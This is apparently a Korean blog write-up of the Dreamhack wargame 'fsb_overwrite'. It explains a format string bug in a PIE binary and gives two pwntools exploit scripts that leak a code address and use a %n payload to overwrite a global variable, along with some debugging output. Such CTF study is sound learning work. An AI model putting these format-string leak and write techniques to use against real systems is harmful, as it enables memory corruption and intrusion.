Full RELRO, NX, PIE, No canary, 64bit ELF
buf에 엔터포함 0x20자까지 입력 가능, 입력값이 바로 printf 인자로 들어감 => fsb 취약점
changeme 전역변수를 1337로 바꾸기만 하면 됨
PIE 적용되어있어서 changeme 주소 계속 바뀜
- 스택에 있는 main함수 주소(rsp+0x48)를 leak해서 changeme 주소를 구한다
* changeme 주소가 rip+0x200700로 결정되므로 CODE 섹션과 DATA 섹션 간 offset 일정
- 스택상에 changeme 주소를 쓰고
* 처음에는 %ln으로 changeme 주소를 스택에 쓰려고 했으나 ($rsp+0x58 = %17$p 위치에 rsp+0x148 주소가 담겨있다)
왠지 모르게 큰 값의 경우 안먹힘
* 그냥 buf[20]에 입력하면 되잖아 ㅋㅋㅋ
- changeme 주소에 값 입력
* 로컬에선 됐는데 서버에선 안먹힘 %15$p에 다른 값 들어있음
from pwn import *
p = process("./fsb_overwrite")
# p = remote("host3.dreamhack.games", 17619)
# 6번째에 등장
# p.send("AAAAAAAA %p %p %p %p %p %p %p %p %p")
p.sendline("%15$p")
leaked = int(p.recvline()[:-1], 16)
changeme = leaked - 0x4008bd + 0x60101c
print(hex(changeme))
# gdb.attach(p)
# printf는 null byte 만날 시 종료되므로 exploit 주소를 맨 뒤로
payload = b'%1337c%8$n' + b'A'*6
payload += p64(changeme)
p.sendline(payload)
p.recvline()
p.interactive()
서버 바이너리의 스택 상황을 다시 파악하자
- $rsp는 6번째에 동일하게 등장
for i in range(7,31):
p.sendline("%{}$p".format(i))
print(p.recvline())
이렇게 전부 출력해보니
b'(nil)\n'
b'0x55580307a940\n'
b'0x55580307a730\n'
b'0x7ffe23d07e60\n'
b'0xad8b8a8442f5b300\n'
b'0x55580307a940\n'
...
이런식으로. %8$p 와 %9$p 에 누가봐도 코드영역같은 주소가 존재.
맨 뒤 3자리는 동일할 것이므로 (페이징 최소단위 0x1000) 로컬 환경에서 offset 고려하여 검색해보니
pwndbg> x/gx 0x555555400940
0x555555400940 <__libc_csu_init>: 0x41d7894956415741
pwndbg> x/gx 0x555555400730
0x555555400730 <_start>: 0x89485ed18949ed31
=> %8$p를 이용해 PIE_BASE 구해서 exploit
from pwn import *
# p = process("./fsb_overwrite")
p = remote("host3.dreamhack.games", 16895)
# 6번째에 등장
# p.send("AAAAAAAA %p %p %p %p %p %p %p %p %p")
p.sendline("%8$p")
leaked = int(p.recvline()[:-1], 16)
changeme = leaked - 0x555555400940 + 0x000055555560101c
print(hex(changeme))
# # gdb.attach(p)
# # printf는 null byte 만날 시 종료되므로 exploit 주소를 맨 뒤로
payload = b'%1337c%8$n' + b'A'*6
payload += p64(changeme)
p.sendline(payload)
p.recvline()
p.interactive()
'security > 포너블 - dreamhack' 카테고리의 다른 글
[Dreamhack Wargame] Cat-Jump (0) | 2023.06.15 |
---|---|
[Dreamhack Wargame] STB-lsExecutor (0) | 2023.06.15 |
[Dreamhack Wargame] awesome_basic (0) | 2023.06.15 |
[Dreamhack Wargame] Stupid GCC (0) | 2023.06.14 |
[Dreamhack Wargame] Master Canary (0) | 2023.06.14 |